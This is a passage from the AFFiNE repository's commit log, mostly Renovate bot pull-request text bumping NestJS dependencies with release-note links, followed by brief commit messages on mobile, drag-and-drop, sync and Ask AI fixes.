### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-09 13:01:07 +00:00
renovate 6c2cb47dbe chore: bump up nestjs (#9074)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/schedule](https://redirect.github.com/nestjs/schedule) | [`4.1.1` -> `4.1.2`](https://renovatebot.com/diffs/npm/@nestjs%2fschedule/4.1.1/4.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fschedule/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fschedule/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fschedule/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fschedule/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/schedule (@&#8203;nestjs/schedule)</summary>

### [`v4.1.2`](https://redirect.github.com/nestjs/schedule/releases/tag/4.1.2)

[Compare Source](https://redirect.github.com/nestjs/schedule/compare/4.1.1...4.1.2)

-   Merge pull request [#&#8203;1834](https://redirect.github.com/nestjs/schedule/issues/1834) from micalevisk/fix-issue-1833 ([`25a0ca9`](https://redirect.github.com/nestjs/schedule/commit/25a0ca9))
-   refactor: drop deprecated nodejs utility api ([`088674f`](https://redirect.github.com/nestjs/schedule/commit/088674f))
-   chore(deps): update dependency prettier to v3.4.2 ([#&#8203;1832](https://redirect.github.com/nestjs/schedule/issues/1832)) ([`42600c0`](https://redirect.github.com/nestjs/schedule/commit/42600c0))
-   chore(deps): update nest monorepo to v10.4.13 ([#&#8203;1831](https://redirect.github.com/nestjs/schedule/issues/1831)) ([`58b28ba`](https://redirect.github.com/nestjs/schedule/commit/58b28ba))
-   chore(deps): update typescript-eslint monorepo to v8.17.0 ([#&#8203;1830](https://redirect.github.com/nestjs/schedule/issues/1830)) ([`36bda2d`](https://redirect.github.com/nestjs/schedule/commit/36bda2d))
-   chore(deps): update dependency eslint to v9.16.0 ([#&#8203;1829](https://redirect.github.com/nestjs/schedule/issues/1829)) ([`97be309`](https://redirect.github.com/nestjs/schedule/commit/97be309))
-   chore(deps): update nest monorepo to v10.4.12 ([#&#8203;1828](https://redirect.github.com/nestjs/schedule/issues/1828)) ([`3bef9ec`](https://redirect.github.com/nestjs/schedule/commit/3bef9ec))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.1 ([#&#8203;1827](https://redirect.github.com/nestjs/schedule/issues/1827)) ([`ac01b10`](https://redirect.github.com/nestjs/schedule/commit/ac01b10))
-   chore(deps): update nest monorepo to v10.4.11 ([#&#8203;1826](https://redirect.github.com/nestjs/schedule/issues/1826)) ([`40f132a`](https://redirect.github.com/nestjs/schedule/commit/40f132a))
-   chore(deps): update dependency prettier to v3.4.1 ([#&#8203;1825](https://redirect.github.com/nestjs/schedule/issues/1825)) ([`ed162b9`](https://redirect.github.com/nestjs/schedule/commit/ed162b9))
-   chore(deps): update dependency prettier to v3.4.0 ([#&#8203;1824](https://redirect.github.com/nestjs/schedule/issues/1824)) ([`5ebb711`](https://redirect.github.com/nestjs/schedule/commit/5ebb711))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.0 ([#&#8203;1823](https://redirect.github.com/nestjs/schedule/issues/1823)) ([`c6f82ac`](https://redirect.github.com/nestjs/schedule/commit/c6f82ac))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.4 ([#&#8203;1822](https://redirect.github.com/nestjs/schedule/issues/1822)) ([`7f0d064`](https://redirect.github.com/nestjs/schedule/commit/7f0d064))
-   chore(deps): update typescript-eslint monorepo to v8.16.0 ([#&#8203;1821](https://redirect.github.com/nestjs/schedule/issues/1821)) ([`83a35b4`](https://redirect.github.com/nestjs/schedule/commit/83a35b4))
-   chore(deps): update nest monorepo to v10.4.9 ([#&#8203;1820](https://redirect.github.com/nestjs/schedule/issues/1820)) ([`f9e64d8`](https://redirect.github.com/nestjs/schedule/commit/f9e64d8))
-   Merge pull request [#&#8203;1801](https://redirect.github.com/nestjs/schedule/issues/1801) from nestjs/renovate/cron-3.x ([`cb158cc`](https://redirect.github.com/nestjs/schedule/commit/cb158cc))
-   fix(deps): update dependency cron to v3.2.1 ([`f88e263`](https://redirect.github.com/nestjs/schedule/commit/f88e263))
-   Merge pull request [#&#8203;1808](https://redirect.github.com/nestjs/schedule/issues/1808) from nestjs/renovate/uuid-11.x ([`35f6eb4`](https://redirect.github.com/nestjs/schedule/commit/35f6eb4))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.3 ([#&#8203;1819](https://redirect.github.com/nestjs/schedule/issues/1819)) ([`a0b8782`](https://redirect.github.com/nestjs/schedule/commit/a0b8782))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.2 ([#&#8203;1818](https://redirect.github.com/nestjs/schedule/issues/1818)) ([`4b48c1e`](https://redirect.github.com/nestjs/schedule/commit/4b48c1e))
-   chore(deps): update dependency typescript to v5.7.2 ([#&#8203;1817](https://redirect.github.com/nestjs/schedule/issues/1817)) ([`d708b47`](https://redirect.github.com/nestjs/schedule/commit/d708b47))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.1 ([#&#8203;1816](https://redirect.github.com/nestjs/schedule/issues/1816)) ([`227763c`](https://redirect.github.com/nestjs/schedule/commit/227763c))
-   chore(deps): update commitlint monorepo to v19.6.0 ([#&#8203;1815](https://redirect.github.com/nestjs/schedule/issues/1815)) ([`dd6748b`](https://redirect.github.com/nestjs/schedule/commit/dd6748b))
-   chore(deps): update typescript-eslint monorepo to v8.15.0 ([#&#8203;1814](https://redirect.github.com/nestjs/schedule/issues/1814)) ([`da02653`](https://redirect.github.com/nestjs/schedule/commit/da02653))
-   chore(deps): update dependency husky to v9.1.7 ([#&#8203;1813](https://redirect.github.com/nestjs/schedule/issues/1813)) ([`19fb64a`](https://redirect.github.com/nestjs/schedule/commit/19fb64a))
-   chore(deps): update dependency eslint to v9.15.0 ([#&#8203;1812](https://redirect.github.com/nestjs/schedule/issues/1812)) ([`e004d24`](https://redirect.github.com/nestjs/schedule/commit/e004d24))
-   chore(deps): update nest monorepo to v10.4.8 ([#&#8203;1811](https://redirect.github.com/nestjs/schedule/issues/1811)) ([`142ab3a`](https://redirect.github.com/nestjs/schedule/commit/142ab3a))
-   chore(deps): update typescript-eslint monorepo to v8.14.0 ([#&#8203;1809](https://redirect.github.com/nestjs/schedule/issues/1809)) ([`c20f9cd`](https://redirect.github.com/nestjs/schedule/commit/c20f9cd))
-   fix(deps): update dependency uuid to v11.0.3 ([`680c6f9`](https://redirect.github.com/nestjs/schedule/commit/680c6f9))
-   chore(deps): update nest monorepo to v10.4.7 ([`9379999`](https://redirect.github.com/nestjs/schedule/commit/9379999))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.0 ([`c2153c9`](https://redirect.github.com/nestjs/schedule/commit/c2153c9))
-   chore(deps): update typescript-eslint monorepo to v8.13.0 ([`a72d7fe`](https://redirect.github.com/nestjs/schedule/commit/a72d7fe))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.8.7 ([`9e20d7a`](https://redirect.github.com/nestjs/schedule/commit/9e20d7a))
-   chore(deps): update dependency eslint to v9.14.0 ([`dfd85ce`](https://redirect.github.com/nestjs/schedule/commit/dfd85ce))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.8.6 ([`48663de`](https://redirect.github.com/nestjs/schedule/commit/48663de))
-   chore(deps): update typescript-eslint monorepo to v8.12.2 ([`5767123`](https://redirect.github.com/nestjs/schedule/commit/5767123))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.8.5 ([`bdc8318`](https://redirect.github.com/nestjs/schedule/commit/bdc8318))
-   Merge pull request [#&#8203;1795](https://redirect.github.com/nestjs/schedule/issues/1795) from nestjs/renovate/uuid-11.x ([`2898c3f`](https://redirect.github.com/nestjs/schedule/commit/2898c3f))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22 ([`b26a306`](https://redirect.github.com/nestjs/schedule/commit/b26a306))
-   chore(deps): update typescript-eslint monorepo to v8.12.1 ([`38e8a95`](https://redirect.github.com/nestjs/schedule/commit/38e8a95))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.2 ([`a5c2a3d`](https://redirect.github.com/nestjs/schedule/commit/a5c2a3d))
-   fix(deps): update dependency uuid to v11 ([`6020c6d`](https://redirect.github.com/nestjs/schedule/commit/6020c6d))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.1 ([`7210ea3`](https://redirect.github.com/nestjs/schedule/commit/7210ea3))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.0 ([`d3cf55e`](https://redirect.github.com/nestjs/schedule/commit/d3cf55e))
-   chore(deps): update nest monorepo to v10.4.6 ([`ba735f3`](https://redirect.github.com/nestjs/schedule/commit/ba735f3))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.15 ([`8555b83`](https://redirect.github.com/nestjs/schedule/commit/8555b83))
-   chore(deps): update dependency [@&#8203;types/jest](https://redirect.github.com/types/jest) to v29.5.14 ([`e58df86`](https://redirect.github.com/nestjs/schedule/commit/e58df86))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.14 ([`dca988b`](https://redirect.github.com/nestjs/schedule/commit/dca988b))
-   chore(deps): update typescript-eslint monorepo to v8.11.0 ([`9b5f16b`](https://redirect.github.com/nestjs/schedule/commit/9b5f16b))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.13 ([`28400dd`](https://redirect.github.com/nestjs/schedule/commit/28400dd))
-   chore(deps): update dependency eslint to v9.13.0 ([`f0e861f`](https://redirect.github.com/nestjs/schedule/commit/f0e861f))
-   chore(deps): update typescript-eslint monorepo to v8.10.0 ([`9ec30f0`](https://redirect.github.com/nestjs/schedule/commit/9ec30f0))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.12 ([`0ee7571`](https://redirect.github.com/nestjs/schedule/commit/0ee7571))
-   chore(deps): update nest monorepo to v10.4.5 ([`0c2c38a`](https://redirect.github.com/nestjs/schedule/commit/0c2c38a))
-   chore(deps): update dependency release-it to v17.10.0 ([`7d1c2e6`](https://redirect.github.com/nestjs/schedule/commit/7d1c2e6))
-   chore(deps): update typescript-eslint monorepo to v8.9.0 ([`0342a00`](https://redirect.github.com/nestjs/schedule/commit/0342a00))
-   chore(deps): update dependency release-it to v17.9.0 ([`e5cb061`](https://redirect.github.com/nestjs/schedule/commit/e5cb061))
-   chore(deps): update dependency release-it to v17.8.2 ([`3bcbb56`](https://redirect.github.com/nestjs/schedule/commit/3bcbb56))
-   chore(deps): update dependency typescript to v5.6.3 ([`f1f10d8`](https://redirect.github.com/nestjs/schedule/commit/f1f10d8))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.11 ([`cb7656c`](https://redirect.github.com/nestjs/schedule/commit/cb7656c))
-   chore(deps): update typescript-eslint monorepo to v8.8.1 ([`0a775cc`](https://redirect.github.com/nestjs/schedule/commit/0a775cc))
-   chore(deps): update dependency eslint to v9.12.0 ([`dce0ee2`](https://redirect.github.com/nestjs/schedule/commit/dce0ee2))
-   chore(deps): update dependency release-it to v17.7.0 ([`6fc5ba3`](https://redirect.github.com/nestjs/schedule/commit/6fc5ba3))
-   chore(deps): update dependency eslint to v9 ([`e2f3171`](https://redirect.github.com/nestjs/schedule/commit/e2f3171))
-   chore(deps): update dependency eslint-plugin-import to v2.31.0 ([`ed8d3b1`](https://redirect.github.com/nestjs/schedule/commit/ed8d3b1))
-   chore(deps): update typescript-eslint monorepo to v8.8.0 ([`af47ac4`](https://redirect.github.com/nestjs/schedule/commit/af47ac4))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.10 ([`acdc7f7`](https://redirect.github.com/nestjs/schedule/commit/acdc7f7))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.9 ([`e959086`](https://redirect.github.com/nestjs/schedule/commit/e959086))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.8 ([`baaf27b`](https://redirect.github.com/nestjs/schedule/commit/baaf27b))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.7 ([`be359b6`](https://redirect.github.com/nestjs/schedule/commit/be359b6))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.6 ([`cb1e63c`](https://redirect.github.com/nestjs/schedule/commit/cb1e63c))
-   chore(deps): update typescript-eslint monorepo to v8.7.0 ([`c60a479`](https://redirect.github.com/nestjs/schedule/commit/c60a479))
-   chore(deps): update nest monorepo to v10.4.4 ([`3e93023`](https://redirect.github.com/nestjs/schedule/commit/3e93023))
-   chore(deps): update nest monorepo to v10.4.3 ([`0e67a32`](https://redirect.github.com/nestjs/schedule/commit/0e67a32))
-   chore(deps): update typescript-eslint monorepo to v8.6.0 ([`a7a9697`](https://redirect.github.com/nestjs/schedule/commit/a7a9697))
-   chore(deps): update dependency eslint to v8.57.1 ([`2fbf0a4`](https://redirect.github.com/nestjs/schedule/commit/2fbf0a4))
-   chore(deps): update nest monorepo to v10.4.2 ([`d338f16`](https://redirect.github.com/nestjs/schedule/commit/d338f16))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.15`](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/1d457fe79f00956ef41a8bdc595d686f980eed40...d0fb875e23e3e6baae8537efd41d54709acade0c)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-09 11:37:32 +00:00
darkskygit 31146e5213 fix: copilot ci (#9066) 2024-12-09 11:11:04 +00:00
pengx17 814b4c9cb0 fix(core): canDrop check for external (#9058) 2024-12-09 10:25:38 +00:00
DarkSky 9365958a02 feat(server): team quota (#8955) 2024-12-09 18:51:54 +09:00
CatsJuice 8fe188e773 refactor(mobile): determine the currently active tab through a persistent state (#9018)
close AF-1868

Only tap on specific tab can change active tab
2024-12-09 04:07:05 +00:00
pengx17 f073df3ee5 fix(mobile): backlink ordering in doc info (#9015)
fix AF-1885
2024-12-09 03:48:08 +00:00
pengx17 5a6dd29d36 fix(mobile): center peek styles (#9014)
fix AF-1876

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/af1191dd-4549-4c38-8948-2d726946d4fe.png)
2024-12-09 03:48:07 +00:00
pengx17 9ddcdb8e50 test(core): test case for dragging from bs editor to sidebar (#9057)
fix AF-1904
2024-12-09 03:31:05 +00:00
fundon 0bafc35aad feat: linked doc supports aliases (#9009)
Closes: [AF-1882](https://linear.app/affine-design/issue/AF-1882/实现-generatedocurlservice)
Upstreams: https://github.com/toeverything/blocksuite/pull/8806
2024-12-09 03:12:09 +00:00
fundon efa4a80019 chore: not allowed to open pdf files on mobile (#9041)
Related to [BS-1919](https://linear.app/affine-design/issue/BS-1919/pdf-block-适配).

First remove the expand button on the mobile side.
2024-12-09 02:54:07 +00:00
pengx17 7a1dab134f fix(core): doc db text property editing issue (#9055)
fix AF-1901
2024-12-09 02:37:13 +00:00
EYHN 7225f59138 feat(nbstore): add blob sync (#8996) 2024-12-07 08:05:04 +00:00
EYHN f54f6e88cb feat(nbstore): new doc sync engine (#8918) 2024-12-07 08:05:02 +00:00
pengx17 fafacdb265 feat(core): dnd support external types (#9033)
fix AF-1847

two issues:
1. original `dropTargetForExternal` only works if dragging target is from another window context. patched the library to bypass this issue
2. `dataTransfer`'s content is only available on `drop` event. This means we cannot have `canDrop` checks for external elements (like blocksuite links).
2024-12-06 21:46:08 +08:00
akumatus 6b14e1cf10 feat(core): after the user clicks ask ai, the input pops up directly (#9039)
Issue [AF-1762](https://linear.app/affine-design/issue/AF-1762).

Ask AI on edgeless mode:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/1218afba-466f-4570-afd4-679b6b09cc8d.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/1218afba-466f-4570-afd4-679b6b09cc8d.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/1218afba-466f-4570-afd4-679b6b09cc8d.mov">录屏2024-12-06 09.54.52.mov</video>

Ask AI on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/58d19705-f646-4957-8628-15845b47222b.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/58d19705-f646-4957-8628-15845b47222b.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/58d19705-f646-4957-8628-15845b47222b.mov">录屏2024-12-06 09.52.51.mov</video>
2024-12-06 12:12:05 +00:00
pengx17 3ef28ed19b fix(core): peek db row should always show the related db row property (#8942)
fix BS-1963
depends on https://github.com/toeverything/blocksuite/pull/8818
2024-12-06 10:02:22 +00:00
renovate aadc978357 chore: bump up oxlint version to v0.14.1 (#9044)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
